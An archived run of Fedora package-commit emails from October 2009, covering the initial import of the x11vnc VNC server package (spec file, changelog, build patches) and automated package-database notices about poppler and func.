Release:		14%{?dist}
License:		GPLv2
Group:		User Interface/X
URL:			http://www.karlrunge.com/x11vnc/
Source0:		http://downloads.sourceforge.net/libvncserver/%{name}-%{version}.tar.gz

BuildRequires:	libjpeg-devel, zlib-devel, openssl-devel
BuildRequires:	xorg-x11-proto-devel, libXext-devel, libXtst-devel
BuildRequires:	libXfixes-devel, libvncserver-devel

BuildRequires:	java-1.6.0-openjdk-devel

# In Fedora 12 /usr/include/X11/extensions/XInput.h in libXi-devel but in
# previous versions in xorg-x11-proto-devel /usr/include/X11/extensions/shmproto.h
# placed in libXext-devel in F12 and in xorg-x11-proto-devel early.
%if 0%{?fedora} > 11
BuildRequires:	libXi-devel libXext-devel
%else
BuildRequires:	xorg-x11-proto-devel
%endif
Requires:		Xvfb

# Fedora don't want hardcoded rpaths.
Patch1:		x11vnc-0.9.8-disableRpath.patch
# According to new paths add new include to build. I think it is Fedora-related.
Patch2:		x11vnc-0.9.8-XShm-explicit-include.patch

# Package intended to EL-5 too, so we still need define BuildRoot
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

%description
What WinVNC is to Windows x11vnc is to X Window System, i.e. a server
which serves the current X Window System desktop via RFB (VNC)
protocol to the user.

Based on the ideas of x0rfbserver and on LibVNCServer it has evolved into a
versatile and productive while still easy to use program.

%description -l ru
??? ??????? VNC-??????? ??? Windows - VNC-??????, ??????? ???????????-
?? ?????? ? ??????? X-?????? ???????????? ?? ????????? (VNC).
????? ???????, ?? ?????? ?????? ????????? ? ?????? ????????, ???? ????
?????? ???? ?????????? ???????? ????????. ????? ????, ?????? ? ?????-
????????? ????? ????? ???? ???????????? (GDM, KDM, XDM etc)

?????????? ?? ???? x0rfbserver ? LibVNCServer x11vnc ???????????????
? ?????? ? ???????????????? ??????????, ???????, ??????, ????????
?????? ? ?????????????.

%package		javaviewers
Version:		%{version}
Summary:		VNC clients (browser java applets)
Summary(ru):	VNC-??????? ? ???? java-??????? ??? ?????????
Requires:		%{name} = %{version}-%{release}
License:		GPLv2+
Group:		User Interface/X
BuildArch:	noarch
BuildRequires:	java-devel >= 1:1.6.0
BuildRequires:	jpackage-utils


%description	javaviewers
The package contains the corresponding java clients for %{name}. They
can be used with any java-enabled browser and provide an easy access to
the server without the need to install software on the client machine.

%description -l ru	javaviewers
Java-??????? ??? ????????????? ????????? ? %{name} ????? ?? ????????
??? ????????????? ??????? ????? ?? ?? ?? ???? ????.

?????? ?? ???? ???????? ? ????? ??????????? ?????????, ??? ????
????????? Java

%prep
%setup -q
%patch1 -p0 -b .rpath

%if 0%{?fedora} > 11
%patch2 -p0 -b .XShm
%endif

# fix source perms for the -debuginfo package rpmlint warnings
find -name "*.c" -o -name "*.h" -exec %{__chmod} 0644 {} \;

for file in README AUTHORS; do
	# ISO-8859-1 is my assumption.
	iconv -f ISO-8859-1 -t UTF-8 "$file" > "$file.new"
	touch --reference "$file" "$file.new"
	%{__mv} "$file.new" "$file"
done

# Delete prebuilt binaries
find -name '*.jar' -exec rm {} \;

%build
%configure --with-system-libvncserver --without-tightvnc-filetransfer

# First rebuild jars, what have been removed in %%prep.
pushd classes/ssl/src
%{__make} %{?_smp_mflags}
	# Alternative to patch Makefiles.
	for jarfile in *.jar; do
	%{__ln_s} src/$jarfile ../;
	%{__ln_s} ssl/src/$jarfile ../../;
	done
popd

%{__make} %{?_smp_mflags}

%install
%{__rm} -rf %{buildroot}
%{__make} install DESTDIR="%{buildroot}"

# And Java viewers
pushd classes/ssl
%{__make} install DESTDIR="%{buildroot}"
popd

# Rename README file to avoid name bump
%{__mv} classes/ssl/src/tight/README classes/ssl/src/tight/README.tight
%{__mv} classes/ssl/src/ultra/README classes/ssl/src/ultra/README.ultra

%clean
%{__rm} -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc AUTHORS ChangeLog COPYING NEWS README TODO
%{_mandir}/man1/x11vnc.1*
%{_bindir}/x11vnc
%{_datadir}/applications/x11vnc.desktop

%files javaviewers
%defattr(-,root,root,-)
%doc classes/ssl/README classes/ssl/src/tight/README.tight classes/ssl/src/ultra/README.ultra
%{_datadir}/%{name}
%exclude %{_datadir}/%{name}/classes/ssl/README

%changelog
* Tue Oct 6 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-14
- Make -javaviewers subpackage noarch.

* Sun Oct 4 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-13
- Small fis requires release.
- Rename README file to avoid name bump

* Fri Sep 25 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-12
- Own %%{_datadir}/%%{name} instead of %%{_datadir}/%%{name}/classes
- Add Requires: %%{name} = %%{version}-%%{release} in subpackage.
- Change summary and description for javaviewers subpackage.
- Remove %%doc marker from man-page.
- %%defattr(-,root,root,0755) -> %%defattr(-,root,root,-)
- Add classes/ssl/src/tight/README classes/ssl/src/ultra/README files into
	javaviewers subpackage %%doc (thank you Orcan Ogetbil)
- ln -s replaced by %%{__ln_s}
- Set License: GPLv2+ for javaviewers subpackage (Thanks Spot)

* Mon Aug 31 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-11
- Remove all prebuilt *.jar-files in %%prep section and try build it from source.
- Add BR java-1.6.0-openjdk-devel
- Introduce new subpackage x11vnc-javaviewers.
- Add separate build java-viewers.
- Add Russian localized versions of Summary and descrioptions.

* Wed Aug 26 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-10
- Fix some spelling, change some cosmetic things.
- Delete Patch0 and hacks to link with system lzo package - it is not needed
	anymore as we link it with systel libvncserver instead.
- Delete BR lzo-devel
- Remiove empty directory %%{_datadir}/%%{name}/

* Sun Aug 9 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-9
- Add Requires: Xvfb

* Fri Aug 7 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-8
- Link to shared lzo instead of minilzo for all (not only EL-5).
- Add BuildRequires: /usr/include/X11/extensions/XShm.h
- Patch2: x11vnc-0.9.8-XShm-explicit-include.patch
- Step to conditional BR for Fedora 12, add
	Patch2: x11vnc-0.9.8-XShm-explicit-include.patch to build on it.

* Tue Aug 4 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-7
- Change license to GPLv2 without plus according to x11vnc.c
	source (thanks to Christian Krause).
- For consistency macros usage replace "ln -s" by %%{__ln_s},
	mv by %%{__mv} and similar (chmod, sed).
- Change find call to avoid using xargs in chmod sources command.

* Wed Jul 29 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-6
- Build with openssl unconditionally.
- Add Patch1: x11vnc-0.9.8-disableRpath.patch
- fix source perms for the -debuginfo package rpmlint warnings

* Tue Jul 21 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-5
- Try use lzo instead of minilzo in EL-5 (minilzo is not bundled in it).
- Try use system libvncserver library (--with-system-libvncserver
	configure option) instead of bundled one.
- System libvncserver built without tightvnc-filetransfer support.
	Now disable it there (--without-filetransfer)
	And according to it change License to only GPLv2+
	./configure --help misleading, using --without-tightvnc-filetransfer

* Tue Jul 21 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-4
- All changes inspired by started Fedora Review (thank you to Christian Krause).
- README and AUTHORS files converted into UTF-8.
- Explicit mention previous author in changelog and delet old entries of it.
- Source renamed to Source0.
- Source0 URL changed to long (correct) variant:
	http://downloads.sourceforge.net/libvncserver/%%{name}-%%{version}.tar.gz
	was http://dl.sf.net/libvncserver/x11vnc-%%{version}.tar.gz
- Add BR: /usr/include/X11/extensions/XInput.h; In F12 it is located in
	libXi-devel but in previous versions in xorg-x11-proto-devel
	so, to do not make conditional requires, require explicit file.
- Remove prebuild binaries clients.
- Remove Requires: minilzo it will be automatically propogated.
- Add BR: libvncserver-devel

* Fri Jul 10 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-3
- Add BR openssl-devel to provide SSL capability (thanks Manuel Wolfshant).
- Requires: minilzo, BR lzo-devel and Patch0: 
	11vnc-0.9.8-use-system-minilzo.patch to use system version of library.
- Add "and GPLv2" to License. See comment above why.
- Add BuildRequires: libXfixes-devel

* Fri Jul 10 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-2
- Import http://packages.sw.be/x11vnc/x11vnc-0.9.7-1.rf.src.rpm to maintain it in fedora:
	Packager: Dag Wieers <dag at wieers.com>
	Vendor: Dag Apt Repository, http://dag.wieers.com/apt/
- Step to version 0.9.8
- Reformat spec with tabs.
- Comment out (leave for history) Packager and Vendor tags
- Remove defines of several macros like dtag, conditional _without_modxorg
- Remove all stuff around conditional build _without_modxorg
- Add -%%(%%{__id_u} -n) part into buildroot.
- Make setup quiet.
- Remove "rf" Release suffix and replace it by %%{?dist}
- License from GPL changed to GPLv2+


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/x11vnc/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	9 Oct 2009 02:53:55 -0000	1.1
+++ .cvsignore	20 Oct 2009 14:26:15 -0000	1.2
@@ -0,0 +1 @@
+x11vnc-0.9.8.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/x11vnc/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	9 Oct 2009 02:53:55 -0000	1.1
+++ sources	20 Oct 2009 14:26:15 -0000	1.2
@@ -0,0 +1 @@
+13e41380fe9ba2581db180061d1cbd22  x11vnc-0.9.8.tar.gz



From pkgdb at fedoraproject.org  Tue Oct 20 14:26:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:26:39 +0000
Subject: [pkgdb] poppler: mkasik has requested watchcommits
Message-ID: <20091020142639.A8C7F10F85F@bastion2.fedora.phx.redhat.com>

mkasik has requested the watchcommits acl on poppler (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/poppler



From pkgdb at fedoraproject.org  Tue Oct 20 14:26:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:26:40 +0000
Subject: [pkgdb] poppler: mkasik has requested commit
Message-ID: <20091020142640.2CB0E10F880@bastion2.fedora.phx.redhat.com>

mkasik has requested the commit acl on poppler (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/poppler



From pkgdb at fedoraproject.org  Tue Oct 20 14:26:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:26:50 +0000
Subject: [pkgdb] poppler: mkasik has requested watchcommits
Message-ID: <20091020142650.09E5110F85F@bastion2.fedora.phx.redhat.com>

mkasik has requested the watchcommits acl on poppler (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/poppler



From pkgdb at fedoraproject.org  Tue Oct 20 14:26:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:26:50 +0000
Subject: [pkgdb] poppler: mkasik has requested commit
Message-ID: <20091020142650.E566610F880@bastion2.fedora.phx.redhat.com>

mkasik has requested the commit acl on poppler (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/poppler



From pkgdb at fedoraproject.org  Tue Oct 20 14:26:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:26:57 +0000
Subject: [pkgdb] poppler: mkasik has requested watchcommits
Message-ID: <20091020142657.D46B610F850@bastion2.fedora.phx.redhat.com>

mkasik has requested the watchcommits acl on poppler (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/poppler



From pkgdb at fedoraproject.org  Tue Oct 20 14:26:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:26:59 +0000
Subject: [pkgdb] poppler: mkasik has requested commit
Message-ID: <20091020142659.A93FE10F87F@bastion2.fedora.phx.redhat.com>

mkasik has requested the commit acl on poppler (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/poppler



From hubbitus at fedoraproject.org  Tue Oct 20 14:28:49 2009
From: hubbitus at fedoraproject.org (Pavel Alexeev)
Date: Tue, 20 Oct 2009 14:28:49 +0000 (UTC)
Subject: rpms/x11vnc/EL-5 import.log, NONE,
	1.1 x11vnc-0.9.8-XShm-explicit-include.patch, NONE,
	1.1 x11vnc-0.9.8-disableRpath.patch, NONE, 1.1 x11vnc.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091020142849.07B1C11C0081@cvs1.fedora.phx.redhat.com>

Author: hubbitus

Update of /cvs/pkgs/rpms/x11vnc/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19732/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	import.log x11vnc-0.9.8-XShm-explicit-include.patch 
	x11vnc-0.9.8-disableRpath.patch x11vnc.spec 
Log Message:
Initial import x11vnc into Fedora




--- NEW FILE import.log ---
x11vnc-0_9_8-14_fc11:EL-5:x11vnc-0.9.8-14.fc11.src.rpm:1256048855

x11vnc-0.9.8-XShm-explicit-include.patch:
 cleanup.c |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE x11vnc-0.9.8-XShm-explicit-include.patch ---
--- x11vnc/cleanup.c.orig	2009-06-14 19:29:17.000000000 +0400
+++ x11vnc/cleanup.c	2009-08-07 02:44:14.000000000 +0400
@@ -50,6 +50,7 @@
 #include "screen.h"
 #include "xrecord.h"
 #include "xevents.h"
+#include <X11/extensions/shmproto.h> // For X_ShmAttach in Fedora 12
 
 /*
  * Exiting and error handling routines

x11vnc-0.9.8-disableRpath.patch:
 configure |   33 +++++++++++++--------------------
 1 file changed, 13 insertions(+), 20 deletions(-)

--- NEW FILE x11vnc-0.9.8-disableRpath.patch ---
--- configure.orig	2009-06-19 18:44:21.000000000 +0400
+++ configure	2009-07-29 16:01:13.000000000 +0400
@@ -4183,7 +4183,7 @@
     "SunOS 5"*)
       echo "$as_me:$LINENO: checking whether -R must be followed by a space" >&5
 echo $ECHO_N "checking whether -R must be followed by a space... $ECHO_C" >&6
-      ac_xsave_LIBS=$LIBS; LIBS="$LIBS -R$x_libraries"
+      ac_xsave_LIBS=$LIBS; LIBS="$LIBS"
       cat >conftest.$ac_ext <<_ACEOF
 /* confdefs.h.  */
 _ACEOF
@@ -4233,9 +4233,9 @@
       if test $ac_R_nospace = yes; then
 	echo "$as_me:$LINENO: result: no" >&5
 echo "${ECHO_T}no" >&6
-	X_LIBS="$X_LIBS -R$x_libraries"
+	X_LIBS="$X_LIBS"
       else
-	LIBS="$ac_xsave_LIBS -R $x_libraries"
+	LIBS="$ac_xsave_LIBS"
 	cat >conftest.$ac_ext <<_ACEOF
 /* confdefs.h.  */
 _ACEOF
@@ -4285,7 +4285,7 @@
 	if test $ac_R_space = yes; then
 	  echo "$as_me:$LINENO: result: yes" >&5
 echo "${ECHO_T}yes" >&6
-	  X_LIBS="$X_LIBS -R $x_libraries"
+	  X_LIBS="$X_LIBS"
 	else
 	  echo "$as_me:$LINENO: result: neither works" >&5
 echo "${ECHO_T}neither works" >&6
@@ -6705,7 +6705,7 @@
 		if test ! -z "$HAVE_LIBXFIXES" -o ! -z "$HAVE_LIBXDAMAGE"; then
 			# need /usr/sfw/lib in RPATH for Solaris 10 and later
 			case `(uname -sr) 2>/dev/null` in
-			"SunOS 5"*) X_EXTRA_LIBS="$X_EXTRA_LIBS -R/usr/sfw/lib" ;;
+			"SunOS 5"*) X_EXTRA_LIBS="$X_EXTRA_LIBS" ;;
 			esac
 		fi
 		if test ! -z "$HAVE_LIBXRANDR"; then
@@ -7026,9 +7026,9 @@
 		if test "x$ld_minus_R" = "xno"; then
 			:
 		elif test "x$GCC" = "xyes"; then
-			LDFLAGS="$LDFLAGS -Xlinker -R$with_ssl/lib"
+			LDFLAGS="$LDFLAGS -Xlinker"
 		else
-			LDFLAGS="$LDFLAGS -R$with_ssl/lib"
+			LDFLAGS="$LDFLAGS"
 		fi
 	fi
 	echo "$as_me:$LINENO: checking for RAND_file_name in -lcrypto" >&5
@@ -7910,13 +7910,6 @@
 	fi
 	if test "x$with_system_libvncserver" != "xyes"; then
 		rflag=""
-		if test "x$ld_minus_R" = "xno"; then
-			:
-		elif test "x$GCC" = "xyes"; then
-			rflag="-Xlinker -R$with_system_libvncserver/lib"
-		else
-			rflag="-R$with_system_libvncserver/lib"
-		fi
 		cmd="$with_system_libvncserver/bin/libvncserver-config"
 		if $cmd --version 1>/dev/null 2>&1; then
 			cvers=`$cmd --version 2>/dev/null`
@@ -7958,9 +7951,9 @@
 		if test "x$ld_minus_R" = "xno"; then
 			:
 		elif test "x$GCC" = "xyes"; then
-			rflag=" -Xlinker -R$rprefix/lib "
+			rflag=" -Xlinker "
 		else
-			rflag=" -R$rprefix/lib "
+			rflag=" "
 		fi
 		cvers=`libvncserver-config --version 2>/dev/null`
 		cscore=`echo "$cvers" | tr '.' ' ' | awk '{print 10000 * $1 + 100 * $2 + $3}'`
@@ -8039,9 +8032,9 @@
 			:
 		elif test "x$GCC" = "xyes"; then
 			# this is not complete... in general a rat's nest.
-			LDFLAGS="$LDFLAGS -Xlinker -R$with_jpeg/lib"
+			LDFLAGS="$LDFLAGS -Xlinker"
 		else
-			LDFLAGS="$LDFLAGS -R$with_jpeg/lib"
+			LDFLAGS="$LDFLAGS"
 		fi
 	fi
 	if test "${ac_cv_header_jpeglib_h+set}" = set; then
@@ -8320,9 +8313,9 @@
 		if test "x$ld_minus_R" = "xno"; then
 			:
 		elif test "x$GCC" = "xyes"; then
-			LDFLAGS="$LDFLAGS -Xlinker -R$with_zlib/lib"
+			LDFLAGS="$LDFLAGS -Xlinker"
 		else
-			LDFLAGS="$LDFLAGS -R$with_zlib/lib"
+			LDFLAGS="$LDFLAGS"
 		fi
 	fi
 	if test "${ac_cv_header_zlib_h+set}" = set; then


--- NEW FILE x11vnc.spec ---
Summary:		VNC server for the current X11 session
Summary(ru):	VNC-?????? ??? ??????? ?????? X11
Name:		x11vnc
Version:		0.9.8
Release:		14%{?dist}
License:		GPLv2
Group:		User Interface/X
URL:			http://www.karlrunge.com/x11vnc/
Source0:		http://downloads.sourceforge.net/libvncserver/%{name}-%{version}.tar.gz

BuildRequires:	libjpeg-devel, zlib-devel, openssl-devel
BuildRequires:	xorg-x11-proto-devel, libXext-devel, libXtst-devel
BuildRequires:	libXfixes-devel, libvncserver-devel

BuildRequires:	java-1.6.0-openjdk-devel

# In Fedora 12 /usr/include/X11/extensions/XInput.h in libXi-devel but in
# previous versions in xorg-x11-proto-devel /usr/include/X11/extensions/shmproto.h
# placed in libXext-devel in F12 and in xorg-x11-proto-devel early.
%if 0%{?fedora} > 11
BuildRequires:	libXi-devel libXext-devel
%else
BuildRequires:	xorg-x11-proto-devel
%endif
Requires:		Xvfb

# Fedora don't want hardcoded rpaths.
Patch1:		x11vnc-0.9.8-disableRpath.patch
# According to new paths add new include to build. I think it is Fedora-related.
Patch2:		x11vnc-0.9.8-XShm-explicit-include.patch

# Package intended to EL-5 too, so we still need define BuildRoot
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

%description
What WinVNC is to Windows x11vnc is to X Window System, i.e. a server
which serves the current X Window System desktop via RFB (VNC)
protocol to the user.

Based on the ideas of x0rfbserver and on LibVNCServer it has evolved into a
versatile and productive while still easy to use program.

%description -l ru
??? ??????? VNC-??????? ??? Windows - VNC-??????, ??????? ???????????-
?? ?????? ? ??????? X-?????? ???????????? ?? ????????? (VNC).
????? ???????, ?? ?????? ?????? ????????? ? ?????? ????????, ???? ????
?????? ???? ?????????? ???????? ????????. ????? ????, ?????? ? ?????-
????????? ????? ????? ???? ???????????? (GDM, KDM, XDM etc)

?????????? ?? ???? x0rfbserver ? LibVNCServer x11vnc ???????????????
? ?????? ? ???????????????? ??????????, ???????, ??????, ????????
?????? ? ?????????????.

%package		javaviewers
Version:		%{version}
Summary:		VNC clients (browser java applets)
Summary(ru):	VNC-??????? ? ???? java-??????? ??? ?????????
Requires:		%{name} = %{version}-%{release}
License:		GPLv2+
Group:		User Interface/X
BuildArch:	noarch
BuildRequires:	java-devel >= 1:1.6.0
BuildRequires:	jpackage-utils


%description	javaviewers
The package contains the corresponding java clients for %{name}. They
can be used with any java-enabled browser and provide an easy access to
the server without the need to install software on the client machine.

%description -l ru	javaviewers
Java-??????? ??? ????????????? ????????? ? %{name} ????? ?? ????????
??? ????????????? ??????? ????? ?? ?? ?? ???? ????.

?????? ?? ???? ???????? ? ????? ??????????? ?????????, ??? ????
????????? Java

%prep
%setup -q
%patch1 -p0 -b .rpath

%if 0%{?fedora} > 11
%patch2 -p0 -b .XShm
%endif

# fix source perms for the -debuginfo package rpmlint warnings
find -name "*.c" -o -name "*.h" -exec %{__chmod} 0644 {} \;

for file in README AUTHORS; do
	# ISO-8859-1 is my assumption.
	iconv -f ISO-8859-1 -t UTF-8 "$file" > "$file.new"
	touch --reference "$file" "$file.new"
	%{__mv} "$file.new" "$file"
done

# Delete prebuilt binaries
find -name '*.jar' -exec rm {} \;

%build
%configure --with-system-libvncserver --without-tightvnc-filetransfer

# First rebuild jars, what have been removed in %%prep.
pushd classes/ssl/src
%{__make} %{?_smp_mflags}
	# Alternative to patch Makefiles.
	for jarfile in *.jar; do
	%{__ln_s} src/$jarfile ../;
	%{__ln_s} ssl/src/$jarfile ../../;
	done
popd

%{__make} %{?_smp_mflags}

%install
%{__rm} -rf %{buildroot}
%{__make} install DESTDIR="%{buildroot}"

# And Java viewers
pushd classes/ssl
%{__make} install DESTDIR="%{buildroot}"
popd

# Rename README file to avoid name bump
%{__mv} classes/ssl/src/tight/README classes/ssl/src/tight/README.tight
%{__mv} classes/ssl/src/ultra/README classes/ssl/src/ultra/README.ultra

%clean
%{__rm} -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc AUTHORS ChangeLog COPYING NEWS README TODO
%{_mandir}/man1/x11vnc.1*
%{_bindir}/x11vnc
%{_datadir}/applications/x11vnc.desktop

%files javaviewers
%defattr(-,root,root,-)
%doc classes/ssl/README classes/ssl/src/tight/README.tight classes/ssl/src/ultra/README.ultra
%{_datadir}/%{name}
%exclude %{_datadir}/%{name}/classes/ssl/README

%changelog
* Tue Oct 6 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-14
- Make -javaviewers subpackage noarch.

* Sun Oct 4 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-13
- Small fis requires release.
- Rename README file to avoid name bump

* Fri Sep 25 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-12
- Own %%{_datadir}/%%{name} instead of %%{_datadir}/%%{name}/classes
- Add Requires: %%{name} = %%{version}-%%{release} in subpackage.
- Change summary and description for javaviewers subpackage.
- Remove %%doc marker from man-page.
- %%defattr(-,root,root,0755) -> %%defattr(-,root,root,-)
- Add classes/ssl/src/tight/README classes/ssl/src/ultra/README files into
	javaviewers subpackage %%doc (thank you Orcan Ogetbil)
- ln -s replaced by %%{__ln_s}
- Set License: GPLv2+ for javaviewers subpackage (Thanks Spot)

* Mon Aug 31 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-11
- Remove all prebuilt *.jar-files in %%prep section and try build it from source.
- Add BR java-1.6.0-openjdk-devel
- Introduce new subpackage x11vnc-javaviewers.
- Add separate build java-viewers.
- Add Russian localized versions of Summary and descrioptions.

* Wed Aug 26 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-10
- Fix some spelling, change some cosmetic things.
- Delete Patch0 and hacks to link with system lzo package - it is not needed
	anymore as we link it with systel libvncserver instead.
- Delete BR lzo-devel
- Remiove empty directory %%{_datadir}/%%{name}/

* Sun Aug 9 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-9
- Add Requires: Xvfb

* Fri Aug 7 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-8
- Link to shared lzo instead of minilzo for all (not only EL-5).
- Add BuildRequires: /usr/include/X11/extensions/XShm.h
- Patch2: x11vnc-0.9.8-XShm-explicit-include.patch
- Step to conditional BR for Fedora 12, add
	Patch2: x11vnc-0.9.8-XShm-explicit-include.patch to build on it.

* Tue Aug 4 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-7
- Change license to GPLv2 without plus according to x11vnc.c
	source (thanks to Christian Krause).
- For consistency macros usage replace "ln -s" by %%{__ln_s},
	mv by %%{__mv} and similar (chmod, sed).
- Change find call to avoid using xargs in chmod sources command.

* Wed Jul 29 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-6
- Build with openssl unconditionally.
- Add Patch1: x11vnc-0.9.8-disableRpath.patch
- fix source perms for the -debuginfo package rpmlint warnings

* Tue Jul 21 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-5
- Try use lzo instead of minilzo in EL-5 (minilzo is not bundled in it).
- Try use system libvncserver library (--with-system-libvncserver
	configure option) instead of bundled one.
- System libvncserver built without tightvnc-filetransfer support.
	Now disable it there (--without-filetransfer)
	And according to it change License to only GPLv2+
	./configure --help misleading, using --without-tightvnc-filetransfer

* Tue Jul 21 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-4
- All changes inspired by started Fedora Review (thank you to Christian Krause).
- README and AUTHORS files converted into UTF-8.
- Explicit mention previous author in changelog and delet old entries of it.
- Source renamed to Source0.
- Source0 URL changed to long (correct) variant:
	http://downloads.sourceforge.net/libvncserver/%%{name}-%%{version}.tar.gz
	was http://dl.sf.net/libvncserver/x11vnc-%%{version}.tar.gz
- Add BR: /usr/include/X11/extensions/XInput.h; In F12 it is located in
	libXi-devel but in previous versions in xorg-x11-proto-devel
	so, to do not make conditional requires, require explicit file.
- Remove prebuild binaries clients.
- Remove Requires: minilzo it will be automatically propogated.
- Add BR: libvncserver-devel

* Fri Jul 10 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-3
- Add BR openssl-devel to provide SSL capability (thanks Manuel Wolfshant).
- Requires: minilzo, BR lzo-devel and Patch0: 
	11vnc-0.9.8-use-system-minilzo.patch to use system version of library.
- Add "and GPLv2" to License. See comment above why.
- Add BuildRequires: libXfixes-devel

* Fri Jul 10 2009 Pavel Alexeev <Pahan at Hubbitus.info> - 0.9.8-2
- Import http://packages.sw.be/x11vnc/x11vnc-0.9.7-1.rf.src.rpm to maintain it in fedora:
	Packager: Dag Wieers <dag at wieers.com>
	Vendor: Dag Apt Repository, http://dag.wieers.com/apt/
- Step to version 0.9.8
- Reformat spec with tabs.
- Comment out (leave for history) Packager and Vendor tags
- Remove defines of several macros like dtag, conditional _without_modxorg
- Remove all stuff around conditional build _without_modxorg
- Add -%%(%%{__id_u} -n) part into buildroot.
- Make setup quiet.
- Remove "rf" Release suffix and replace it by %%{?dist}
- License from GPL changed to GPLv2+


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/x11vnc/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	9 Oct 2009 02:53:55 -0000	1.1
+++ .cvsignore	20 Oct 2009 14:28:48 -0000	1.2
@@ -0,0 +1 @@
+x11vnc-0.9.8.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/x11vnc/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	9 Oct 2009 02:53:55 -0000	1.1
+++ sources	20 Oct 2009 14:28:48 -0000	1.2
@@ -0,0 +1 @@
+13e41380fe9ba2581db180061d1cbd22  x11vnc-0.9.8.tar.gz



From pkgdb at fedoraproject.org  Tue Oct 20 14:29:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:29:07 +0000
Subject: [pkgdb] func ownership updated
Message-ID: <20091020142907.DD23B10F85F@bastion2.fedora.phx.redhat.com>

Package func in Fedora devel is now owned by skvidal

To make changes to this package see:
  /pkgdb/packages/name/func



From pkgdb at fedoraproject.org  Tue Oct 20 14:29:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:29:08 +0000
Subject: [pkgdb] func ownership updated
Message-ID: <20091020142908.74AD810F88F@bastion2.fedora.phx.redhat.com>

Package func in Fedora devel is now owned by skvidal

To make changes to this package see:
  /pkgdb/packages/name/func



From pkgdb at fedoraproject.org  Tue Oct 20 14:29:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:29:08 +0000
Subject: [pkgdb] func (un)retirement
Message-ID: <20091020142908.80CF410F8AB@bastion2.fedora.phx.redhat.com>

Package func in Fedora devel has been retired by mdehaan

To make changes to this package see:
  /pkgdb/packages/name/func



From pkgdb at fedoraproject.org  Tue Oct 20 14:29:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:29:11 +0000
Subject: [pkgdb] func ownership updated
Message-ID: <20091020142911.BA1F510F8B1@bastion2.fedora.phx.redhat.com>

Package func in Fedora 8 is now owned by skvidal

To make changes to this package see:
  /pkgdb/packages/name/func



From pkgdb at fedoraproject.org  Tue Oct 20 14:29:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 20 Oct 2009 14:29:13 +0000
Subject: [pkgdb] func ownership updated
Message-ID: <20091020142913.1BC9910F8B5@bastion2.fedora.phx.redhat.com>

Package func in Fedora EPEL 4 is now owned by skvidal

To make changes to this package see:
  /pkgdb/packages/name/func



From pkgdb at fedoraproject.org  Tue Oct 20 14:29:14 2009
